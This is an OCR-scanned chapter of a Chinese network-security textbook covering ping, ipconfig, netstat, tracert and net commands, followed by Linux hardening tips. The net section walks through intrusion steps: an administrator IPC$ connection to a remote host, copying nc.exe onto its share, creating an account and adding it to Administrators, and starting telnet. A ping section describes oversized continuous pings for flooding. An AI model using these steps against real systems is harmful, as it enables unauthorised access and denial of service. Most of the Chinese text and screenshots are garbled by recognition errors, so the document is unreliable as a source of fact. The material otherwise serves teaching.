0. ACHS K 0, 27 B 10 1] 326 W & (ping A7 2 25) K ICMP Hig KRR E 2-12 Frs .,

KR | ALY il ik frif) | 225
0 0 5] 5 13 %25 (ping i ) v
SR NGB

0 EC NI B

1 FHL A AR

2 | BEURTTR

3| H Rk

4 | WESRAEEE T AD A
3 5| U kR L

6 H 1Y M 2% A~ AR

7 H 1 FEHA AR

8 | W HLebRE (EEARRD

9 H 11 % 265 9 ot il 25 1k

10 | HAY FEHL#E 58 6 2L |

11 | HTFRSZEM TOS, M 454 ] ik
12 | HFRSE™ TOS, FHLA ] ik
13 | T ad i, il {5 o o i 25 b

14 | FHL#AL

15 | itk A%

4 O | il o 0 00 FAT CREAS 5 D

H 5E [7]
0 X [ 28 51 5 [
5 1 X 3 H H A [

2| XA 55 25 TR R [ 2% L E [i]
3| AR 55 PSR A AL E E (8]

S N N A S N A A N S e .

8 0 ] 55 3% 2R (Ping 528D J
9 0 i HH i i 4 J
10 0 | B AR J
ia
11 0 % a0 W9 18] A A0 | R 0 J
1 FE B e 21 2% 11 [|] A= A7 0 [a] 2 0 J
285 )
12 0 N TP G 3R (fL 46 & Fh 22 65) N
1| B B e J
13 0 | WA #EiE K )
14 0 | ] R A v
15 0 | 15 EAER (FEEA D J
16 0 | 1580 E (FEEAR D J
17 0 Ml o1l 4 65 5 oK J
18 0 I - S N 2 J

E 2-12 ICMP xR
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A
®

2.2 R & fi A
2.2.1 W#iSHF T A ping

ping ANMUALZE Windows Ty 4. 72 UNIX #1 Linux F WA X ~m4 . ping HJE—
AR PR TCP/IP Pl iy — &8 43. ping 4& Windows R 48 F 77 09— > 0] 047 w2 - Al
FHE AT DL £ [ 4% 2 75 BE 0% 1% 1 » FH 45 nl DUAR & 3t 555 Bl FRATT 23 1 5 199 4% 4 o

A& ping TP #uhik . 1Z 4438 o LU £ 28008 BARE/E 2 5 A ping % 7] 4
BN n] A 2 T4 15 B

2.2.2 ping pSESE

NI Z 88 ping a4 BT Bk BA R A 28 6 AU B0 » ping R FEL S  TCP/IP Hpil LA
JaA Rl PAfEH .

ping [ —t][-a]l][ —ncount] [ -1 length] [ - f] [ -1 ttl] [ —-v tos] [ — r count] [ — s count ]
[ = j computer — 1ist] | [ — k computer — list] [ — w timeout] destination— list
Options:

(1) -t Ping the specified host until stopped. To see statistics and continue -type
Control-Break; To stop - type Control-C.

FA5H ping A7 B S ERE T Curl+C .

BT RE A A AR 5 A i o] DARC A5 oAt 28000 1 % /e T m 2 2] .

(2) -a Resolve addresses to hostnames.

T i AAL NetBIOS £ .

AN s C:\>ping —a192.168.1.21
Pinging malimei [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes= 32 time< 10ms TTL = 254
Reply from 192.168.1.21: bytes= 32 time<10ms TTL = 254
Reply from 192.168.1.21: bytes=32 time < 10ms TTL = 254
Reply from 192.168.1.21: bytes=32 time< 10ms TTL = 254
Ping statistics for 192.168.1.21:
Packets: Sent = 4,Received = 4,Lost = 0 (0% loss), Approximate round trip times in
milli — seconds:
Minimum = Oms,Maximum = Oms, Average = Oms

ML T SE T AJIEE TP S 192, 168. 1. 21 (315 4L NetBIOS 444 malimei.

(3) -n count Number of echo requests to send.

&% count F§ % Y echo EidE 1%L .

TEFCATE O T — AR 2 ik 4 DR i X a2 ml LU H & & SR K B2 X
iy ik ) 265 7 BE AR A A B, b an AR 005K A 3K 50 A B lE A i AR [ iy - 2 1 8] O 22 20 dge PR [H]
N2V i g i R] DAy Z2 /0 n] DL of LT 280

C:\>ping — n 50 202.103.96.68

Pinging 202.103. 96. 68 with 32 bytes of data:

Reply from 202.103.96.68: bytes= 32 time = 50ms TTL = 241
Reply from 202.103.96.68: bytes =32 time = 50ms TTL = 241
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Reply from 202.103.96.68: bytes=32 time= 50ms TTL = 241
Request timed out.

++++++++++++++++++

Reply from 202.103.96.68: bytes=32 time= 50ms TTL = 241

Reply from 202.103.96.68: bytes= 32 time = 50ms TTL = 241

Ping statistics for 202.103.96.68:

Packets: Sent = 50,Received = 48,Lost = 2 (4% loss),Approximate round trip times inmilli -
seconds :

Minimum = 40ms,Maximum = 51lms, Average = 46ms

ML EFRATE °T LAATIE AE 45 202. 103, 96. 68 &£ 50 PEIE iy #2 4,k [ 1 48
MHPHEPAH T ARME N E KX 48 4 Zdls 4 2 bk o] i 8] &z 5208 40ms. iz KO
51ms, - 253 [\] ] [6] 2A7 46ms,

(4) -l size Send buffer size.

E X echo BiEL K/

TEFCANYTE L & Windows By ping & IX FYEHE (L /NN 32B. FTw L H & E X E
RN ABA — A KNI BR 1, 80 e R H & 3% 65 5008, 5 A N 2= n) k£ 4 ZBR i 2
65 5008, A2 Windows R REGEAA — 1% 2l CHI/F A5 H A R G0 - 52 2 1) X
JJ Ux?'i)iﬁﬂﬁ(ﬂﬁ@j(ﬂ:ji%ﬂ: 65 532B I X )5 WL AR A7 Al GEFE L » Fr LA 2 W A J'ﬁfl’*FB‘%

LA JwiR BRI 1 ping AYEHE G K/ . BRIV A B 2 20 T BRI (B XS B &
Eﬁh@ﬁﬂﬁfi%&ﬁ%ﬁﬁﬁﬁﬁﬂﬁ[lﬂlﬁx_ﬁﬂ At ZEUOR S — A7 A7 Bl i 354
(LA NG A fa bt U T 362560 8 20 2 o e T AL L A s 2R A 71D

C:\>ping — 1 65500 —t 192.168.1.21

Pinging 192.168.1.21 with 65500 bytes of data:

Reply from 192.168.1.21: bytes = 65500 time < 10ms TTL = 254
Reply from 192, 168.1.21: bytes = 65500 time < 10ms TTL = 254

++++++++++++++++++

XA S 192, 168. 1. 21 HHEHL &£ K/NH 65 5008 AR A, i RAR R A

— IR AT A 2 RCR AR R AR Z 7B AUIR 2 5 Al LA X 7 56 40 0 e o A andk 4]
A 10 & L4 it E L ping — 5 Windows 2000 Professional &2 4 13T & HLES . A 2 5
O3 PR T B 28 0 L 28 58 A B L M 25 S EEEE ZE L HTTP A1 FTP il 55 56 445 1k . = WA 19
windows & 2818 & it il .

(5) -f Set Don't Fragment flag in packet.

ER RO R EANE S BIRE.

TE— R0 O T 2 3k 19 s A0 9 23 i 3 e 1 0 B HE RO 45 0 O i e Z 8L )R B el sk
A BUR B

(6) =i TTL Time To Live.

f5 & TTLAEAEX 519 & g8 A5 B Al [a]

I 2 B[R] S 15 B VR RG24 32 5 1 DL RY

(7) -v TOS Type Of Service.

R e 55 28 Y F B E oM TOS 5 7%€ B 1H

(8) -r count Record route for count hops.

£ I sk E 7 Berbac s A% AT (0] %504k 4 Y g
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£ — A O T R ik 19 808 0 2 il o — >4~ i i A B A X O i L (R R iR e A 1 Bkt
e R e 7 i 2 RO AT LA E R AR R 28 1 Y e e A S B AN BRIAE 9 A ol i
IR A RERER R 9 A~ # . LR Bl

C:\>ping —n1 —r 9202.96.105.101 (%% — 1 &iEW, =Zid5 9 1)
Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes =32 time = 10ms TTL = 249
Route: 202.107.208.187 —>

202.107.210. 214 —>

61.153.112.70 —>

61.153.112.89 —>

202.96.105.149 —->

202.96.105.97 —>

202.96.105.100 —>

202.96.105.150 - >

61.153.112.90

Ping statistics for 202.96.105.101:

Packets: Sent = 1,Received = 1,Lost = 0 (0% loss),
Approximate round trip times in milli — seconds:

Minimum = 10ms,Maximum = 10ms, Average = 10ms

M b T EE AT RAE A ASHLE] 202, 96. 105, 101 — 3@ 4 7 202, 107, 208. 187,202, 107.
210, 214,61, 153. 112. 70,61, 153, 112. 89,202, 96, 105, 149, 202. 96, 105, 97,202, 96, 105,
100,202, 96. 105, 150,61.153.112. 90 iX 9 1~ .

(9) -j host-list LLoose source route along host-list.

A host-list 15 %€ 19 T ML 3 o i B8 40 o i 227 5L nl LLRE o el 99 5C 50 B Ci i
5D TP F VT Y e KB R 9.

(10) -k host-list Strict source route along host-list,

A host-list 318 %€ B i+ R ML 22 5 b Bdls 0, i 2o T ALASGE v al] ] 5 7 B i b 7™
t&IED IP SRR B KB 9.

(11) -w timeout Timeout in milliseconds to wait for each reply.

5 € B B B S o Z R . eSO A4 Hfthd 1,

(12) 7£ Windows 7 1 ,-4 A7 (i ] 1Pv4,-6 58470 ] 1Pv6 . £ Jay S [ vh k038 X 7 4L
i ] I AE AT IPv4 Ho bk A0 IPv6 Hidlk 1

(13) ping fig & W) H A EL TS . 76— e di 00 & ik m] DU i ping %) Jr 18 %0 5 3% [8] 25 FR 7Y
TTLAE /N A mg A W H AR EALA R G R A2 Windows &R 414 & UNIX/Linux &4, —
FCIE DL Windows RANATRGEIR MY TTL {E1E 100~130 Z[a], 1] UNIX/Linux & 411 %
ik M AY TTL {H7E 240~255 Z[d],

X TTL BEAEXR 7 #9 AL & rl HZ 2y, Windows & 81 /Y 5 48l LU i 8 2 iE
W LA B R S PR

[ HKEY_LOCAL_MACHINE\sys tem\CurrentControlSet\Services\Tcpip\Parameters]

"Defaul tTTL" = dword:000000FF
255 — FF, 128 — 80,64 —— 40,32 —— 20
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ping J& /U FI R & A2 Wi B e, T T E A EVLEGRES 70— 6 EPlac i
CRESBEVOREM ., W ErE S, 5T DUfER TCP/IP 2502 & 1% 815 1516 LA )iz
frefdIEE. WETFENE. IS 5 — & EVLIE T — R EH IR EIE ik 28 #1 97 A Fon
TCP/IP Fg & 5 IR 80 1Y - 20 200 P04 T ot (9 A4S Hb 32 AL 5 0 72 32 HIL A9 250308 41z 22 4 A BB W0 15
TCP/IP 1) 1F 8 % .

2.2.3 MZ&i2h T A ipconfig

ipconfig 52 7 g TCP/IP W 2 il & 15 2 B 2 2 AL AC & P i (Dynamic Host
Configuration Protocol, DHCP) fifi{{ 24 £ 4 (DNS) ¥ & .

i F A7 Z 80019 ipconfig A] DA 7 B AT 3 B 5% (19 1P bk | P 448 £ A0 2R OA I 5

1. ipconfig i & S %

ipconfig /all: @/RAHL TCP/IP fit & M ITEA(E B .

ipconfig /release; DHCP & i TR AL 1P Huhik,

ipconfig /renew: DHCP & F 4= 1. 7] ik 55 % kil 7 i 2K .

ipconfig /flushdns: JEFEASHL DNS 2217 N %5

ipconfig /displaydns: 78 AAH DNS N %,

ipconfig /registerdns: DNS & F i F 1. ] it 554 iE 17 1M

ipconfig /showclassid: 7~ M 2838 A 77 i) DHCP 2851015 &,

ipconfig /setclassid: &% & M 2% 16 Al 2579 DHCP 25851,

2. ipconfig 6y < 2545
£ RUNGz 1) & i A CMD #E 2 DOS & 11,
Eﬁfﬂ%f%‘dﬂﬁ . ipconfig /all /5[0 4.

oI . CEEAEA A C R 25 PR B N 2805 Bl X R )
Windows IP Lc-nflgurdtlon [Windows IP it B Y(rp &= H . 6D
Host Name ............ : PCNAME [t 5L 4 F L4
Primary Dns Suffix ....... . [ 3 DNS J5 48]

Node Type ....vvvnnn. . Unknown [y lﬁj%jﬂl
IP Routing Enabled. ....... : No [IP 3% i il 55 & 75 i3 ]
WINS Proxy Enabled........ . No [WINS {JC@H[R%IEH‘EI Hi]

Ethernet adapter: [4< b4 35}
Connection-specific DNS Suffix : [#% £:45F % 1) DNS J54%]

Description ........... : Realtek RTL8168/8111 PCI-E Gigabi [ ¥ |k #I 5 iiA])
Physical Address......... . 00-1D-7D-71-A8-D6 [# | MAC Hb 4]

DHCP Enabled. .......... : No [3h & EPLI & b il 5 15 1D

IP Address............ : 192.168. 90. 114 (1P Hiht]

Subnet Mask ........... . 255.255.255.0 [F M #chs]

Default Gateway ......... . 192. 168. 90. 254 [ERIA M K]

DHCP Server. . ....... . 192.168. 90. 88 [DHCP ik % #% 1P)
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DNS Servers «.oveueenn.. . 221.5. 88. 88 [DNS Jig % 25 1 )
Lease Obtained........... L2011 4E 4 H 128, 13. 54 [IP #hk#1H IF 44 it a1 )
[Lease Expires ............ . 2011 424 H 10 5 8. 13 54 [IP Hbhl FHHH 45 o 15 18] )

2.2.4 netstat i &

netstat ?‘é’%ﬁﬁ{ﬁﬁ]ﬁﬂﬁiﬁﬁ‘%ﬁﬂﬁﬁ"ﬁ FI{J%‘ u| \l’j\ klﬁ%ﬁ'fﬁ?% AP EﬁFhiEJPvﬂ; %
= B .(IP . ICMP., TCP #1 UDP ¥pisl) f# FH netstat-an 52 7] VLA FH H 5 1% 20 (19 14 52 HIT
A o 1, X MR E R AR MK RS ARNEAE T, EHMFEN TR,

C:\Documents and Settings\Administrator > netstat — an

Proto Local Address Foreign Address State

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:912 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1027 0.0.0.0:0 LISTENING
TCP 192.168.1.2:139 0.0.0.0:0 LISTENING
TCP 192.168.1.2:2532 220.181.132.154:80 ESTABLISHED
TCP 192.168.1.2:3186 220.181.111.161:80 CLOSE WAIT
TCP 192.168.1.2:3187 220.181.111.148:80 CLOSE WAIT
TCP 192.168.1.2:3188 124.238.238.119:80 CLOSE WAIT
TCP 192.168.1.2:3190 180.149.132.165:80 CLOSE WAIT
TCP 192.168.1.2:3216 220.181.111.148:80 CLOSE WAIT
TCP 192.168.1.2:3228 180.149.131.170:80 CLOSE WAIT
TCP 192.168.1.2:3242 180.149,.131.88:80 CLOSE WAIT
TCP 192.168.1.2:3247 220.181.112.75:80 CLOSE WAIT
TCP 192.168.1.2:3252 220.181.112.75:80 CLOSE WAIT
TCP 192.168.1.2:3260 220.181.164.53:80 CLOSE WAIT
TCP 192.168.1.2:3266 220.181.111.115:80 CLOSE WAIT
TCP 192.168.81.1:139 0.0.0.0:0 LISTENING
TCP 192.168.126.1:139 0.0.0.0:0 LISTENING

LISTENING : fiiWy 2k F iz 7 19 TCP o H Y& 215K .
ESTABLISHED: 8% — 4TIy %4z
CLOSE-WAIT: S5 WA H F P ok 19 % 42 vh W i oK
netstat iy 2251 — A% X K. C.\ >netstat /7

B S THE B A2 H TCP/IP W 4% 3% 2

NETSTAT [ —a] [ -bl [ -e] [-n] [-o] [-pproto] [~ r] [—s] [ -]

~a 71 B AT 3% 4 A0 W W v 1

-b 7R A T T A AR % R B T v RS Al ST A . AR AR SO & R el AT A
PHA 2 AL A HAE X BE R 00 B AL 7 1 B 2 % 5 1l s Wi 11 A9 2 14 2 51 B s

e AR VARMGIHE B . ek minl LIS -s g S A .

-n PLECF I 0B R ikl v 05, s Iin] DL 5 -a BEXZH 5 (] .
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-0 BN 5B A G B & 2B R 1D,

-p proto g 7n proto #§ & WY Uh I 1Y 3% 5. proto A] DL & T A il 22— TCP,UDP,
TCPv6 8 UDPv6, 15 5-s gui—d i 4 LU B i S it 5 B proto AT LU 51 Bl
Z— . IP. IPv6 . ICMP,.ICMPv6,.TCP.TCPv6,UDP ¢ UDPv6,

-r 7N B R

s RIS E R, BA BoR 1P IPv6  ICMP,ICMPv6, TCP, TCPv6, UDP A
UDPv6 4115 8.

-p eI T 45 E BRI O 5

-v 5-b eI —E A H PR R s T o B al s A ) o B W v R 2H A
interval S 78 ¥E € NG THE B - BB 7R 2 88 5= If (8] 1] B CBA R ) . 4% Cerl +—C 5= 1k
HH B aASGIT ER . R AW netstat TSR B[S B (H B R —%),

2.2.5 Tracert i &

Tracert CHRER 3 ) A2 i tH PR ER S AR I . T8 2 TP Zdia U5 0] H b Bl R U B 42
Tracert fig 2 ffi 11 1P A= F7 i [0] CTTL) B Al ICMP #8515 31 8 R 8 2 I — 1~ FHLEI X 24 I
HoAh FALFr e gt o iZar 2 AE R 26 Y A 21 3t — s B T B HL Y 38 oK 60 Bir 48 3 119 42 30 % e
AP~ o Wiz B Y TP 222 /0l iz 1P WO e 2 22 /055 . il , B2 www. qq. com,
tracert www. qq. com 2 H WE 2-13 Fran, H TEA 2% 1E, — RIS 4 i & i EE Ik
tracert, 4 B 7 B BN S 5 7R 17 oK I

BURE 30 NS RER

3| qg.com [125.39.127.221 BYFRH:

<1 =Fh 192.168.2.1

5 ms 27.193.156.1

3 119.167.91.289
16 119.167.86.65

173 15 15 219.158.99.254
13 12 12 282.99 .66 .106

15 ms 12 13 125.39.81.134

- - B B oK EET .
12 ) 12 125.39.127 .22

1
1
3
19 i8

3 -
-
7]

-
- |

3
- B BB

- |
- |

M e n M

- |

1
2
3
4
=
6
7
B
9

B 2-13 EHERER

2.2.6 netip%

net fy 2 & M 4y & H I EZ 1 —4>, WA N E R EE — Do HE. NV E
A DN RE S5 A2 Ko K 1 Xl R S R AR TR, BhilBITRE —-FEHA
BIRLL 4y 4 - 7 emd T4 A net [B1 %, & g 1AL AR EF a2, BRI 2 RS
DL 9 FESEEE N

1. net view

(i FH a2 & A ke EHLATIE T
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i 2 &N net view \\IP, WK 2-14 Fr7n &G 1P #hk T a9 38 5 SO sc e

cv C:\WINDO¥S\system32\cad. exe - (O] %

Media State i Media disconnected

:Documents and Settings“Administratornet view ~N192.168.1.2

i \\192.168.1.2 I EHER

REE X0 RN 5R

:\Documents and Settings“Administrator?>

E 2-14 net view B L EZF IR

2. net use

2o B2 LAY HE S 2L S R R M B O AS H AT L A 2 4% 20 A net use x: \\IP\sharename,
nE 2-15 Frzn . 48 192, 168. 1. 2 F Y AEE 4 & malimei B9 H WS A AR Z 8, B~ Z

1IN 25 . B i 78 malimel H BN E .

= Cz\WINDO¥S\=zystend2\cad. exe - ] X

:sDocuments and Settings“dministratordnet uze 2: “N\192.168.1.2walinei

ORI TR

t\Documents and Settings“Adainistratordz:

)
SREpes o

z:\ EF

<{DIR>
<DIR>

<DIR> ¢ 360U E TR EE I
186,176 881 .ppt
14,926,336 882.ppt
5,897,216 @83.ppt
£31.456 BAIndex.pp

2-15 net use £ Z FF B G h Kb & FF

name. 4

S B AL T (B &R a2 #5 XN net use \\IP\IPC $ password /user:
Kl 2-16 Fr7n s 26775 192.168. 1. 2 v (B & . %15 o P 44 8 administrator, 857 |
[PCS E# 5 nl LA FAZSCHF T2 copy ne. exe \\192. 168. 1. 2\ipc $ , {1 &] 2-17 fr7s , RKn
AH H 5 T Y ne. exe &R 0eHE FHL, 255 5 102240 473 1) HoAth a2 500 0] BE IR B AR YRR .
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= C:\WINDO¥S\zystemd2\cad. exe - 01X

2013-18-23 17:02 16,897 =& CESCET ST LT .
178 3.817,779.008 FT
38 "ER 28.395.368.448 B FFH

v AR
AR

:\Documents and Settings“Adninistrator’net use “\192.168.1.2%ipcs Auseriadminis
rator

PRI TR

:\Documents and Bettingz“fldninistratordnet use ““\192.168.1.2%ipc$ suser:adminis
rator

a2

TeiE S \\192.168.1.2\ipc$
T RRal IPC
PR 2 oN

i 1

RIBRID TR

:\Documentzs and Settings“fAdninistrator?> v

E 2-16 net use ETEFEE

= Cz:\WINDO¥S\zystem3d2\cad. exe - | O] %

fﬁgfnﬁ Eﬁr%l:%ﬂntting’l ‘Adninistrator>dir
NI Dams-DBBE

C:\Documents and Settings“Administrator ﬂ':lai

19:21 <DIR>

19:21 <DIR> a“n

15:38 <DIR> Apphata

22:19 {DIR> Favorites

15:48 <DIR> Funshion

BB:36 691 Funshion.dini

19:50 <DIR> My Documents

19:21 B ne.axe

23:35  <DIR> [ FFaf | S8R
£\

12:26 <DIR>

p) f‘*jtg 691 F
8 MNER 34.919.043.072 A HFED

:\Documents and Bettings“fAdninistratordcopy nc.exe “N192.168.1.5\ipcs

=% 1 1 .

t\Documents and Settings=“Admninistrator) v

B 2-17 BiIfEEEBERLEEXH

net user [ Hfih iy 4> .

8 K P A RS O . AL FE R 2Kk P O BRI P LA R E R O L BOTE T P I P AR
o XXTEEARZIRA A, HEEZZE N ERPEME . WA AT SN
net user, A] A& Fr A P 45 2 228 /Y .

net user abed 1234 /add. @& — 1 H P2~ abed . %654 1234 (19 P L 2810~ user 2
A 51 .

net user abed /del B H P 24 8 abed 09 H F M .

net user abed /active:no . P44 & abed B9 P ZEH

net user abed /active:yes, G H P2~ abed U P .

i —
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T H A R Ay 0B AR

net user abed. & H F 44 A abed (9 FH P 145 00,

3. net start

(I EkRE s EAL EAYIRSS . SRS R AL T 5 WOR &K BB A4 ik
%5 B I Bl o i AR SRR T b e 55 o s R LA T X A 2 R Bl

HE -

net start servername,servername & % |3 sh B IR 56 24 5 . W5 2L 13 3l telnet IR 55,

IV A net start telnet. ¥ B 8l | telnet 5% . WE 2-18 Fras .,

= C:\WINDO¥S\systeni2\cmd. exe

C:sDocuments and Settings“Admninistrator>net start telnet

A —

elnet Hi’l T+ 5&
e

elnet HF: i A 4—*+F'_T_'1

C:locuments and Settingz‘“Adninistratord

E 2-18 /3 3h telnet AR 55

4. net stop
o A ICFE FHLAY IR S AT 1 A XA a2 s piminl LL 1 FHEEH net start #7[A],

S. net localgroup

& F A M P A 0GB M T e, i ART S 5009 net localgroup B 41
HYMATRT AP A A 2-19 s

+ C:A\VINDO¥S\systead2\cmidl. exe

txDocuments dnd Settings“Adninistratorinet start telnet
t:lm:'t. HF-r—— T BEZh

elnet F:-r- "'—"' |'F+_T‘1

2slocuments and Settings“Adninistratorinet localgroup

\WPRC-208131004N00 {515

___Uiare
#Administrators
wBackup Operators
whe bugger Uzers
wuests
*He lpSerwicesGroup
etwork Configuration Operators
=Power lUsers
#Remote Desktop Users
=Heplicator

C:sDocuments and Settings“fAdninistrator?

E2-19 ERIAFMAMAMNARA
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EA Az vp BB — N B ok e 3N K P 4 FE A Administrators ZH K P 53X FE F1) HH
XA P AT DA o A e =L T anE 2-20 B

7 C:\WINDOWS\syst en32\cad. exe

SNDocumnents and Settings\Adninistratorinet user nmalimei 1234 Aadd
8 ) FE

IC: socuments and Settings“dmninistratorinet localgroup administrators malimei Sa

id
i< i T 57 At

tsDocuments and Settings“Adninistratorinet user malimei

malimne i

ooe 5B (B
Yes

WA

204129 P 12:28
2814-3713 |9 11:16
214,129 [ 12:28
Yes
Yes

(371
AT b

AHFE T E

dml = g
: , - ¥

1H:
2
£

IR

All

e

a 1L
il i

Fr W
s

I T

.'lJ-'l {1'-
All

sfidminiztrators
=pone

:xDocumentz and Settingz“fdninistratord

2w EAR . (W ARERERSE . o C oo

E2-20 EERARPMARBRARA

H#:: net localgroup groupname username /add

A 8% . net user malimei 1234 /add. /e H iy kg s — A H P . 24 5~ malimei,
i 1234,

net localgroup administrators malimei /add, 3l malimei f 7 1 A #l] Administrators
A .

net user malimei, 21 1 HH P IR A
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6. net time
X a4 n] LA A A2 LS A B TE] ﬁﬂ%’éﬁiﬁﬁEEH%L/\@JEE%MEE-W
ZWVF AR X NS T, HARM AR T EEH EREAEGE? BE(I&iE -3
175 » 0 3% AC 2 FE AL 25 IS ] 7 A .
Hi . net time \\IP. W& 2-21 7/~ .

C:\VINDO¥S\systeni2\cmd. exe

- aﬂurunrnt.,.. and Eet.i..ing\.tﬂllnmxﬂtl !.l,urhu:t time “N192.168.1.5
\\192.168.1.5 {1 LR 82 2014129 TH 12:43

LRI

C:slocuments and Settings“Administrator?

B 2-21 ERIiZiEFVLAEE

2] @ 2

— . IXFEH
1. i1k EALATES B A% AT DL A R R IF A WA OC i RS B

A. TP #pil B. TCP Ppi¥ C. UDP Ppid D. ICMP thid
2. H Y™ 4% i 55 . DNS i H :

A. UDP #pi¥ B. TCP HpiX C. 1P Hpi¥ D. ICMP #pi¥
3. MIFREML a5 R 6. KR 2 i,

A. UDP Ppil B. TCP Ppil C. IP Ppi¥ D. ICMP {pid
4, WFR PR S5 R e 17,88 2 B,

A. TP ¥ B. TCP Ppil C. UDP Hpil D. ICMP ¥
N Ry
1. 1P & JZ s, TCP & JZ R EML, UDP & JZ 1 PR
2. eGSR P SYN= L ACK = « 3% ) . SYN =

ACK = . WIAE .SYN= . ACK= .

3. BN M AT TCP/IP M4 Bl ® {5 B, i 1P #b HE . + ™ # 65 0 2Rk IA N 6 79 45 2
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H
7E

4. mAETTENL P9 R a4 & .
5. ¥+ P4~ abed 89 P M Bg 08 5 & 2 .
=, HE:

1. faisk TCP 1 UDP Bpisl g X 51 .
2. fa] i ping 52 .ipconfig 54> .netstat 152 .net 182 A IIEREA FH 5 .

3. gt IP SL#F . 45 00 00 30 52 52 40 00 80 06 2¢ 23 ¢0 a8 01 01 d8 03 e2 15,
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B ¥ Linux #1240 KXE,
B 532 Windows 2003 Server 34 2 489X F

Hal IR &5 a5 H#E/E 245 A — 25 UNIX, Linux il Windows NT/2000/2003
Server, XYEEANERFHEN & C2 KL 2R MIIERIE RS AHEAAETEA D In iR . a0 8 XT
XS iy il AN 1 AN SR BUFE NV A 2 A R it . I S ERAE R S 8 R R 4 AR

3.1 Linux 1 &%

3.1.1 LinxE{ERZ I A

Linux &2 — & DR HMHEHMA HERHME UNIXB#ERE. 2R N T EAam
PR D BT A S B L H E RS A ST AN S AR AR R A R B MR 2 1Y L A A AR RE A el (T
iy UNIX 36257 5. Linux e BRIP4 F —17 &0 Linus Torvalds {21 4y 2 4 %
M Al A2 7 S BR R S SR S i ek L B AR T — MU Minix (B — £ 44 1 Andrew S.
Tanenbaum BT E A EZHE 1 — M RIERESBRET) WIRIE RS . XM RIERSE AT
T 386,486 = ¢ b BEAF A9 AT AL L9 H B UNIX#ER G 23 DI fE. Linux
=R ERAE R Ge, P a] DL 2 k45 HOE AT L OF se 98 Fll &8 2k .

4 rpm - gif 'cat' (3KEN cat A FE)

tean A3 2] 1s, cat, grep., less 553X 28y & A PEACHS , A LAGE AP A28 BT LA cat
PR AT A Sy 151

# which cat

/bin/cat

# rpm — qif /bin/cat

Name: coreutils Relocations: (not relocatable)

Version: 5.97 Vendor: CentOS

Release: 14.el5 Build Date: Sat 24 May 2008 11:19:56 PM CST
Install Date: Tue 03 Nov 2009 03:18:40 AM CST Build Host: builderl0. centos. org
Group: System Environment/Base Source RPM: coreutils —5.97 — 14.el5. src. rpm
Size: 9021731 License: GPLv2 +

Signature: DSA/SHA1, Sun 15 Jun 2008 07:29:51 AM CST, Key ID a8a447dce8562897

URL: http://www.gnu. org/software/coreutils/

Summary: The GNU core utilities: a set of tools commonly used in shell scripts

Description: These are the GNU core utilities. This package is the combination of the old GNU

fileutils, sh—utils, and textutils packages.



44 it H LR &g Al L AR

AL E 3 cat /& coreutils P Y —A T H., B0y F 0 E http://www. gnu. org/
software/coreutils/ s T4 0] DL Z X Hu bt T 283 coreutils AYIEAC IS AR 57 Hirp 3k 3] cat.,

Linux 273 i rl§IE GPL(General Public License) #4709 B 1 44 . A & JL
WA . 40 Ubuntu, Red Hat Linux, Slackware. U & B N Y Xteam Linux.Z[ £ Linux %,
Linux f3idr 2 XN A E BAIT2 0 AT

(1) 525,

(2) 5E 427 POSIX 1. 0 piifiE . H—A POSIX A M IRA1E R %S FEF . ] LLAEIT
far H A /Y POSIX #4E R4 (A 22k B 75— ') BT .

(3 ZH P25 .

(4) R &f [ 51

(5) FERMLZEIIHE.

(6) nl%¢ Y% 4 Fa e T RE .

(7)) ZFZM¥6

3.1.2 Linux Z2HR S

1. #ESX

QIR SR L R G N Ay XN T R A

(D BWHE() AP H S Ghome) JGEf H & (/tmp) #/var B 5& W 73 T2 A [6] /Y #4 3%
431X

(2) DL 4% B e oy X0 g 43 25 18] K/ N 78 40 2% 18 bt e 1 58 8 Je (R 3 a4y X 58
(6] FH 52 1 5 20 3R 46 AR 15t

2. LI
(1) XFFAEME F WL AN ZE e 0 2 i 4L . X ml DA R AR PR AR 44 i & 20 1 4%
4R B AT BE A

(2) XFFAEM L F= P 72 BB £ FE VLS 30 ik 55 A D e A 2 B9 I 55 . BN routed.,
ypbind % .

3. ZeMESIEERE

I A FE G 0% I 2% il 55« echo . chargen. shell,login.finger NFS.RPC %%,

X A AE 75 B M 2% ik 55 o talk \ntalk pop-2 5%,

UL 2% i 55 & A T S T B DR 1N 25 i 55 I A RECAS SRy 24 i e i R R S AR AR AR

WOH 4 FTP Jila].

FEAE TR suid B2,

i1 ] tepwrapper. [ 28 fliz 55 9 7 o] #2550 T. 5 .

{fi ] ipchains By K45 .

H & &4 syslogd,

HARPRAEGN T

(D) #AERGE NG log file & 4G Ml J2 547 W28 A2 i) H Z 2R . IR E log file A
it AE B IR W /A 6 ik 55 o L 2 B 42 3% 3 Internet |, 53X E IR 35 VR A TP Hb bk 42K
N E Y H bk AR 2k LA AR 2 AR 3R G2 8 telnet /ftp B 221K, i H 217 £ more/
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var/log/secure| grep refused Z=£5 4,

(2) PRI EAT SUID A PR Fr ik i 2 FF B A AR bR & B2 LA root B riafT . it
— B TER L 2 TR 998 A SRy 2 IS B A bR 1 R passwd B FF .

(3) HP%W . HP %M ZE Linux 80— ARG 5L IR 2 A8 H P H P %
S T B password. X JF TR A E WO 1 ORI NEEIE id B 24T 2 9% 19 1) (8] A1 5% 5
AT DA e P iR 3 0, 4 i 1 P B S AR T 8 6 AT IF BN B A B A v & A AT AT i R
MANFORHE B, A BB R |20 AE A5 M FHS TP X0 RN,

(4) /ete/exports SC. WNSRARAE ] NFS 28 3CF R 48 ik 55 I8 4 W {R R 1Y/ ete/
exports HA7 i 48 B9 A7 OB PR 152 B, 3% 2 0R 35 AN 2208 FH AT o] 38 AL A7 - A S20F root HALER .
mount i H R GE. GdE SO/ ete/exports FFEHL. 14N :

/dir/to/export hostl.mydomain. com(ro, root squash)
/dir/to/export host2.mydomain. com(ro, root squash)

/dir/to/export &40 Ky H AY H 5% . 1 host. mydomain. com &5 & XA H sk I HL 4 2% - ro
ER A mount ﬁinwe%%?root_squash 2% [ root 5 A% H 3%,
ik b e AE 4 2L .12 11/ usr/sbin/exportfs -a,

(5) #41{5 /ete/inetd. conf WJITAH FH & root. H AR 4% & & 600,
[ root(@deep] # chmod 600 /etc/inetd. conf

ENSURE that the owner is root.

[ root(@deep] # stat /etc/inetd. conf

File: "/etc/inetd. conf"

Size: 2869 Filetype: Regular File

Mode: (0600/— rw——————— ) Uid: (0/ root) Gid: (0/ root)
